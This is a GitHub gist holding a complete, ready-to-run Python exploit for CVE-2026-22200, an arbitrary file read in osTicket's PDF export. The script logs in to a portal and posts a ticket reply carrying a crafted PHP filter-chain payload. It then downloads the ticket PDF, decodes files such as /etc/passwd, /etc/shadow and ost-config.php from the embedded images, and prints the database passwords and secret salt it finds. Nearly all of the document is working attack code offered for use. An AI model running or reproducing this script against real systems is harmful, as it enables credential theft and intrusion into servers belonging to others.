Skip to content

Instantly share code, notes, and snippets.

@ArkaprabhaChakraborty
Created February 10, 2026 15:46
Show Gist options
  • Select an option

  • Save ArkaprabhaChakraborty/aa40ce3c51b3cf11ead03e5b7cebc1e3 to your computer and use it in GitHub Desktop.

Select an option

Save ArkaprabhaChakraborty/aa40ce3c51b3cf11ead03e5b7cebc1e3 to your computer and use it in GitHub Desktop.
Enhancesoft OsTicket arbitrary file read vulnerability
#!/usr/bin/env python3
"""
CVE-2026-22200 - osTicket Arbitrary File Read (Oneshot Exploit)
Exploits the PHP filter chain vulnerability in osTicket's mPDF PDF export
to read arbitrary files from the server.
Usage:
python exploit_oneshot.py --url http://TARGET --ticket 978554 --email test --password administrator
python exploit_oneshot.py --url http://TARGET --ticket 978554 --email test --password administrator --files /etc/shadow /proc/version
"""
import argparse
import base64
import os
import re
import string
import sys
import zlib
from urllib.parse import quote
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
import urllib3
urllib3.disable_warnings()
ICONV_MAPPINGS = {
"61": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
"59": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361",
"66": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213",
"50": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB",
"68": "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE",
"57": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936",
"6f": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE",
"6a": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16",
"32": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
"35": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE",
"69": "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000",
"56": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB",
"51": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2",
"58": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932",
"67": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8",
"34": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
"5a": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16",
"33": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
"4e": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4",
"4b": "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE",
"42": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
"45": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
"73": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90",
"74": "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS",
"4c": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC",
"4d": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T",
"75": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61",
"72": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101",
"44": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
"2f": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4",
"43": "convert.iconv.CN.ISO2022KR",
"6b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2",
"38": "convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16",
"6e": "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61",
"36": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
"31": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
"65": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937",
"62": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
"54": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103",
"53": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS",
"30": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE",
"37": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
"6d": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949",
"6c": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE",
"39": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
"52": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
"55": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943",
"63": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
"64": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
"46": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
"79": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT",
"41": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
"77": "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE",
"48": "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213",
"70": "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4",
"4a": "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4",
"4f": "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775",
"71": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2",
"76": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932",
"49": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213",
"47": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90",
"78": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS",
"7a": "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937",
}
BANNER = """
===============================================================
CVE-2026-22200 - osTicket Arbitrary File Read Exploit
Oneshot Exploitation Script
===============================================================
"""
def create_session():
session = requests.Session()
retry = Retry(total=3, backoff_factor=0.5, status_forcelist=[500, 502, 503, 504])
adapter = HTTPAdapter(max_retries=retry)
session.mount("http://", adapter)
session.mount("https://", adapter)
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
})
return session
def extract_csrf_token(content):
# Try name before value
match = re.search(r'name="__CSRFToken__"[^>]*value="([^"]+)"', content)
if match:
return match.group(1)
# Try value before name
match = re.search(r'value="([^"]+)"[^>]*name="__CSRFToken__"', content)
if match:
return match.group(1)
# Try single quotes
match = re.search(r"name='__CSRFToken__'[^>]*value='([^']+)'", content)
if match:
return match.group(1)
return None
def quote_with_forced_uppercase(input_string):
safe_chars = string.ascii_lowercase + string.digits + '_.-~'
encoded_parts = []
for char in input_string:
if 'A' <= char <= 'Z':
encoded_parts.append(f"%{ord(char):X}")
elif char in safe_chars:
encoded_parts.append(char)
else:
encoded_parts.append(quote(char))
return "".join(encoded_parts)
def generate_php_filter_payload(file_path, encoding="plain"):
width, height = 15000, 1
bmp_header = (
b'BM:\x00\x00\x00\x00\x00\x00\x006\x00\x00\x00(\x00\x00\x00'
+ width.to_bytes(4, 'little')
+ height.to_bytes(4, 'little')
+ b'\x01\x00\x18\x00\x00\x00\x00\x00\x04\x00\x00\x00'
+ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
)
base64_payload = base64.b64encode(bmp_header).decode()
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
hex_char = str(hex(ord(c))).replace("0x", "")
filters += ICONV_MAPPINGS[hex_char] + "|"
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
if encoding in ('b64', 'b64zlib'):
filters = "convert.base64-encode|" + filters
if encoding == 'b64zlib':
filters = "zlib.deflate|" + filters
return f"php://filter/{filters}/resource={file_path}"
def generate_ticket_payload(file_paths, is_reply=True):
sep = "&#38;&#35;&#51;&#52;" if is_reply else "&#34"
payloads = []
for file_spec in file_paths:
if ',' in file_spec:
file_path, encoding = file_spec.split(',', 1)
if encoding not in ('plain', 'b64', 'b64zlib'):
encoding = 'plain'
else:
file_path = file_spec
encoding = 'plain'
php_filter = generate_php_filter_payload(file_path, encoding)
payloads.append(php_filter)
html = '<ul>'
for p in payloads:
html += f'<li style="list-style-image:url{sep}({quote_with_forced_uppercase(p)})">listitem</li>\n'
html += '</ul>'
return html
def decompress(data, chunk_size=1024):
decompressor = zlib.decompressobj(wbits=-15)
output = b''
for i in range(0, len(data), chunk_size):
chunk = data[i:i + chunk_size]
try:
output += decompressor.decompress(chunk)
except zlib.error:
return output + decompressor.flush()
return output + decompressor.flush()
def decodeb64(encoded_data, min_bytes=12):
encoded_data = encoded_data.strip()
decoded = b""
for i in range(0, len(encoded_data), 4):
block = encoded_data[i:i + 4]
try:
decoded += base64.b64decode(block, validate=True)
except (base64.binascii.Error, ValueError):
if len(decoded) < min_bytes:
text = encoded_data.decode('ascii', errors='ignore')
return re.sub(r'[^\x20-\x7E\n\r\t]', '', text).encode()
return decoded
if len(decoded) < min_bytes:
text = encoded_data.decode('ascii', errors='ignore')
return re.sub(r'[^\x20-\x7E\n\r\t]', '', text).encode()
return decoded
def extract_data_from_bmp(bmp_data):
marker = b'\x1b$)C'
data = bmp_data.partition(marker)[2].replace(b'\x00', b'')
b64_decoded = decodeb64(data)
decompressed = decompress(b64_decoded)
if decompressed:
return decompressed
elif b64_decoded:
return b64_decoded
return data
def extract_files_from_pdf(pdf_content):
try:
import fitz
except ImportError:
print("[!] PyMuPDF (fitz) not installed. Install with: pip install PyMuPDF")
sys.exit(1)
try:
from PIL import Image
except ImportError:
print("[!] Pillow not installed. Install with: pip install pillow")
sys.exit(1)
import io
pdf_doc = fitz.open(stream=pdf_content, filetype="pdf")
extracted_files = []
for page_idx, page in enumerate(pdf_doc):
images = page.get_images(full=True)
for img_idx, img in enumerate(images, start=1):
xref = img[0]
try:
pix = fitz.Pixmap(pdf_doc, xref)
if pix.alpha:
pix = fitz.Pixmap(fitz.csRGB, pix)
image_data = pix.samples
pil_image = Image.frombytes("RGB", [pix.width, pix.height], image_data)
bmp_buffer = io.BytesIO()
pil_image.save(bmp_buffer, "BMP")
bmp_data = bmp_buffer.getvalue()
file_content = extract_data_from_bmp(bmp_data)
if file_content:
# Clean trailing BMP padding artifacts
clean = file_content.rstrip(b'\x00')
# Remove repeating @C>== padding at end
padding_marker = b'@C>=='
pad_idx = clean.find(padding_marker)
if pad_idx > 0:
clean = clean[:pad_idx]
extracted_files.append(clean)
except (RuntimeError, ValueError, AttributeError) as e:
print(f" [~] Could not process image {img_idx} on page {page_idx+1}: {e}")
pdf_doc.close()
return extracted_files
def login(session, base_url, username, password):
"""Try staff panel (SCP) login first, then fall back to client portal.
Returns 'scp', 'client', or None on failure."""
# Try staff panel (SCP) first
print(" [*] Trying staff panel (/scp/) login...")
scp_login_url = f"{base_url}/scp/login.php"
try:
r = session.get(scp_login_url, verify=False, timeout=20)
csrf = extract_csrf_token(r.text)
if csrf:
data = {
"__CSRFToken__": csrf,
"userid": username,
"passwd": password,
}
r = session.post(scp_login_url, data=data, allow_redirects=True, verify=False, timeout=20)
# If login succeeded, we won't see the login form anymore
if 'userid' not in r.text.lower() or '/scp/login.php' not in r.url:
print(" [+] Staff panel login successful")
return "scp"
else:
print(" [-] Staff panel credentials rejected")
except Exception as e:
print(f" [~] Staff panel error: {e}")
# Fall back to client portal
print(" [*] Trying client portal login...")
client_login_url = f"{base_url}/login.php"
try:
r = session.get(client_login_url, verify=False, timeout=20)
csrf = extract_csrf_token(r.text)
if csrf:
data = {
"__CSRFToken__": csrf,
"luser": username,
"lpasswd": password,
}
r = session.post(client_login_url, data=data, allow_redirects=True, verify=False, timeout=20)
if 'luser' not in r.text or 'Sign In' not in r.text:
print(" [+] Client portal login successful")
return "client"
else:
print(" [-] Client portal credentials rejected")
except Exception as e:
print(f" [~] Client portal error: {e}")
return None
def find_ticket_id(session, base_url, ticket_number, prefix=""):
"""Find the internal ticket ID for a given ticket number."""
tickets_url = f"{base_url}{prefix}/tickets.php"
r = session.get(tickets_url, verify=False, timeout=20)
# Look for ticket links with the ticket number
pattern = rf'tickets\.php\?id=(\d+)[^>]*>.*?#?{ticket_number}'
match = re.search(pattern, r.text, re.DOTALL)
if match:
return match.group(1)
# Try accessing tickets with different IDs
for tid in range(1, 20):
r = session.get(f"{tickets_url}?id={tid}", verify=False, timeout=20)
if str(ticket_number) in r.text:
return str(tid)
return None
def submit_reply(session, base_url, ticket_id, payload_html, prefix=""):
ticket_url = f"{base_url}{prefix}/tickets.php?id={ticket_id}"
r = session.get(ticket_url, verify=False, timeout=20)
csrf = extract_csrf_token(r.text)
if not csrf:
print(f"[!] Could not extract CSRF token from ticket page ({ticket_url})")
print(f" [DEBUG] Response status: {r.status_code}, URL: {r.url}")
print(f" [DEBUG] Page title: {re.search(r'<title>(.*?)</title>', r.text, re.DOTALL)}")
return False
# Find the reply textarea - try multiple patterns
# SCP uses 'response', client portal uses 'message'
textarea_name = None
for pattern in [
r'<textarea[^>]*name="([^"]+)"[^>]*id="response"',
r'<textarea[^>]*id="response"[^>]*name="([^"]+)"',
r'<textarea[^>]*name="([^"]+)"[^>]*id="message"',
r'<textarea[^>]*id="message"[^>]*name="([^"]+)"',
r'name="(response)"',
]:
match = re.search(pattern, r.text, re.IGNORECASE)
if match:
textarea_name = match.group(1)
break
if not textarea_name:
textarea_name = "response" if prefix == "/scp" else "message"
print(f" [*] Using textarea field: {textarea_name}")
data = {
"__CSRFToken__": csrf,
"id": ticket_id,
"a": "reply",
textarea_name: payload_html,
}
r = session.post(ticket_url, data=data, allow_redirects=True, verify=False, timeout=30)
# Check for various success indicators
success_indicators = ['reply posted', 'posted successfully', 'message posted', 'response posted']
response_lower = r.text.lower()
return any(ind in response_lower for ind in success_indicators)
def download_pdf(session, base_url, ticket_id, prefix=""):
# Try multiple PDF export URL patterns
urls_to_try = [
f"{base_url}{prefix}/tickets.php?a=print&id={ticket_id}",
f"{base_url}{prefix}/tickets.php?a=print&id={ticket_id}&pdf=true",
f"{base_url}{prefix}/tickets.php?id={ticket_id}&a=print",
]
for pdf_url in urls_to_try:
print(f" [*] Trying: {pdf_url}")
r = session.get(pdf_url, verify=False, timeout=60)
content_type = r.headers.get('Content-Type', '')
if content_type.startswith('application/pdf') or r.content[:4] == b'%PDF':
print(f" [+] Got PDF response ({len(r.content)} bytes)")
return r.content
else:
print(f" [-] Not a PDF (Content-Type: {content_type}, size: {len(r.content)})")
return None
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-22200 osTicket Arbitrary File Read - Oneshot Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python exploit_oneshot.py --url http://172.17.210.202 --ticket 978554 --email test --password administrator
python exploit_oneshot.py --url http://TARGET --ticket 978554 --email test --password administrator --files /etc/shadow
python exploit_oneshot.py --url http://TARGET --ticket 978554 --email test --password administrator --files /proc/version /etc/hostname
""",
)
parser.add_argument("--url", required=True, help="Base URL of osTicket (e.g. http://172.17.210.202)")
parser.add_argument("--ticket", required=True, help="Ticket number (e.g. 978554)")
parser.add_argument("--email", required=True, help="Login email/username")
parser.add_argument("--password", required=True, help="Login password")
parser.add_argument("--files", nargs="*",
default=["/etc/passwd", "include/ost-config.php"],
help="Files to read (default: /etc/passwd include/ost-config.php). "
"Append ,b64 or ,b64zlib for encoding (e.g. /proc/self/maps,b64zlib)")
parser.add_argument("--output-dir", default=".", help="Directory to save extracted files")
parser.add_argument("--ticket-id", default=None, help="Internal ticket ID (auto-detected if not provided)")
args = parser.parse_args()
print(BANNER)
base_url = args.url.rstrip("/")
session = create_session()
# Step 1: Login
print(f"[*] Target: {base_url}")
print(f"[*] Ticket: #{args.ticket}")
print(f"[*] Files to extract: {args.files}")
print()
print("[1/5] Logging in...")
portal = login(session, base_url, args.email, args.password)
if not portal:
print(f"[!] Login failed with {args.email}:{args.password}")
print("[*] Tried both staff panel (/scp/) and client portal (/)")
sys.exit(1)
prefix = "/scp" if portal == "scp" else ""
print(f"[+] Logged in as {args.email} via {portal} portal")
# Step 2: Find ticket ID
print("\n[2/5] Locating ticket...")
ticket_id = args.ticket_id
if not ticket_id:
ticket_id = find_ticket_id(session, base_url, args.ticket, prefix)
if not ticket_id:
print(f"[!] Could not find internal ID for ticket #{args.ticket}")
print("[*] Try specifying --ticket-id manually")
sys.exit(1)
print(f"[+] Ticket #{args.ticket} has internal ID: {ticket_id}")
# Step 3: Generate and submit payload
print("\n[3/5] Generating PHP filter chain payload...")
payload_html = generate_ticket_payload(args.files, is_reply=True)
print(f"[+] Payload generated ({len(payload_html)} bytes, {len(args.files)} file(s))")
print("\n[4/5] Submitting payload as ticket reply...")
if not submit_reply(session, base_url, ticket_id, payload_html, prefix):
print("[!] Failed to submit reply. The response may not contain expected confirmation.")
print("[*] Continuing to PDF download anyway...")
else:
print("[+] Reply posted successfully")
# Step 4: Download PDF and extract
print("\n[5/5] Downloading PDF and extracting files...")
pdf_content = download_pdf(session, base_url, ticket_id, prefix)
if not pdf_content:
print("[!] Failed to download PDF")
sys.exit(1)
pdf_path = os.path.join(args.output_dir, f"ticket_{args.ticket}.pdf")
with open(pdf_path, "wb") as f:
f.write(pdf_content)
print(f"[+] PDF saved to: {pdf_path}")
extracted = extract_files_from_pdf(pdf_content)
print(f"[+] Extracted {len(extracted)} file(s) from PDF")
# Step 5: Display and save results
print("\n" + "=" * 70)
print("EXTRACTED FILE CONTENTS")
print("=" * 70)
for i, content in enumerate(extracted):
file_label = args.files[i] if i < len(args.files) else f"file_{i+1}"
# Clean the label for filename use
safe_name = file_label.split(',')[0].replace('/', '_').lstrip('_')
output_path = os.path.join(args.output_dir, f"extracted_{safe_name}")
with open(output_path, "wb") as f:
f.write(content)
print(f"\n--- [{file_label}] ({len(content)} bytes) ---")
try:
text = content.decode('utf-8', errors='replace')
# Show first 3000 chars
if len(text) > 3000:
print(text[:3000])
print(f"\n... (truncated, full content in {output_path})")
else:
print(text)
except UnicodeDecodeError as e:
print(f"[!] Could not decode content as text: {e}")
print(f"[Binary data - saved to {output_path}]")
print(f"[+] Saved to: {output_path}")
# Look for key secrets in ost-config.php
print("\n" + "=" * 70)
print("KEY FINDINGS")
print("=" * 70)
for content in extracted:
try:
text = content.decode('utf-8', errors='replace')
except UnicodeDecodeError:
continue
secrets = {
"SECRET_SALT": re.search(r"define\('SECRET_SALT','([^']+)'\)", text),
"ADMIN_EMAIL": re.search(r"define\('ADMIN_EMAIL','([^']+)'\)", text),
"DBHOST": re.search(r"define\('DBHOST','([^']+)'\)", text),
"DBNAME": re.search(r"define\('DBNAME','([^']+)'\)", text),
"DBUSER": re.search(r"define\('DBUSER','([^']+)'\)", text),
"DBPASS": re.search(r"define\('DBPASS','([^']+)'\)", text),
}
found_any = False
for key, match in secrets.items():
if match:
print(f" {key}: {match.group(1)}")
found_any = True
if found_any:
print()
print("[*] Exploitation complete!")
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment